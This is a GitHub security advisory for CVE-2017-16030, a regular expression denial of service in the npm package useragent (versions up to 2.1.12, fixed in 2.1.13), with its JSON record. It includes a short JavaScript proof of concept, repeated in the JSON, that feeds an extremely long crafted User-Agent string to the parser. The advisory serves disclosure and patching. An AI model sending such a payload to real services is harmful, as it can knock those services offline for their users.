GHSA-PJMX-9XR3-82QR

Vulnerability from github – Published: 2018-07-24 19:59 – Updated: 2023-09-06 20:07
VLAI?
Summary
ReDoS via long UserAgent header in useragent
Details

Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.

Proof of Concept

var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));

Recommendation

Update to version 2.1.13 or later.

Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "useragent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16030"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:49:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require(\u0027useragent\u0027);\n\nvar badUserAgent = \u0027MSIE 0.0\u0027+Array(900000).join(\u00270\u0027)+\u0027XBLWP\u0027;\nvar request = \u0027GET / HTTP/1.1\\r\\nUser-Agent: \u0027 + badUserAgent + \u0027\\r\\n\\r\\n\u0027;\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.",
  "id": "GHSA-pjmx-9xr3-82qr",
  "modified": "2023-09-06T20:07:59Z",
  "published": "2018-07-24T19:59:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16030"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-pjmx-9xr3-82qr"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/312"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "ReDoS via long UserAgent header in useragent"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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